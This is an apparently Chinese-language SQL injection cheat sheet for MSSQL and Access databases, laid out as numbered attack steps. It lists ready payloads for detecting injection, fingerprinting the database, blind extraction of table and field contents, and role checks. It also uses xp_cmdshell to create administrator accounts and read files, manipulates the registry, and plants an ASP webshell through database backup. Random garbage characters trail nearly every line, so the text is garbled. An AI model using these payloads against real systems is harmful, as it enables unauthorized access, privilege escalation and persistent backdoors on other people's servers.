1.判断是否有注入;and 1=1 ;and 1=2 gp{Z]{io
2.初步判断是否是mssql ;and user>0 G1,u{d-_
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3.注入参数是字符'and [查询条件] and ''=' *unJd"<*&@
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Z= pvoTY
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5.判断数据库系统 $yFR{_]
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;and (select count(*) from sysobjects)>0 mssql (Y?}'?
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;and (select count(*) from msysobjects)>0 access /'>ck2drjk
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 DeN$YE#*
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 DCCij N
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 +ldgT"
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9.(1)猜字段的ascii值(access) R
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 OZl0I#@A
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(2)猜字段的ascii值(mssql) x Sv@K5"8!
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 l_&T)Ei
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10.测试权限结构(mssql) &!8u4*K5j
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- yjChnp
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- m8v=pab e
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- )-LSn
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9q<?xO
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- /gLi(Uw
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- EMS$?"K
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;and 1=(select IS_MEMBER('db_owner'));-- kc"SUiy/
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11.添加mssql和系统的帐户 TSP#.QY
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;exec master.dbo.sp_addlogin username;-- d?OsVT;U
;exec master.dbo.sp_password null,username,password;-- -<n]Sv;V
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- +dK;\wT
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;exec master.dbo.xp_cmdshell 'net user username password ljO t~@Ea
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :#spL*FIx
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- P:HmT
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ?(j:F2dU~
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12.(1)遍历目录 {rZ )!
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;create table dirs(paths varchar(100), id int) K<ok1g'0
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;insert dirs exec master.dbo.xp_dirtree 'c:\' LD)P.
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;and (select top 1 paths from dirs)>0 [e`6gGO
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) .
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(2)遍历目录 [NIaWI,>
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- +`~6Weay
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 l)(
3]
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4BAG GD2
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 $/;;}|hqi
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 "E )0)A3=
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13.mssql中的存储过程 yMbg1+:
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xp_regenumvalues 注册表根键, 子键 @a}jnl(2
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )wueR5P
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xp_regread 根键,子键,键值名 ?mJ&zf|B8
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;exec xp_regread _mn2bc9M
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 V`XtGTx
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xp_regwrite 根键,子键, 值名, 值类型, 值 w [7vxQ!-
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 &x<y4ORH|
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xC+TO
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xp_regdeletevalue 根键,子键,值名 &a
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 j$Z:S~*
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Tg~SGAc
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14.mssql的backup创建webshell Y]6kA5
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use model FA3YiX(-e
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create table cmd(str image); 9S]]KEGn4
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insert into cmd(str) values (''); "8sB,$
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backup database model to disk='c:\l.asp'; >qC,IQ'
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15.mssql内置函数 lLi)?
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;and (select @@version)>0 获得Windows的版本号 S{#L7S
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 8*Ke;X~N
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;and (select user_name())>0 爆当前系统的连接用户 &Y3r'"
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;and (select db_name())>0 得到当前连接的数据库 !ZrU@T
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16.简洁的webshell !}PZCbDhL
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use model b:t|9FE%
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create table cmd(str image); fobnK~2
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insert into cmd(str) values (''); %v)O!HC}
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backup database model to disk='g:\wwwtest\l.asp';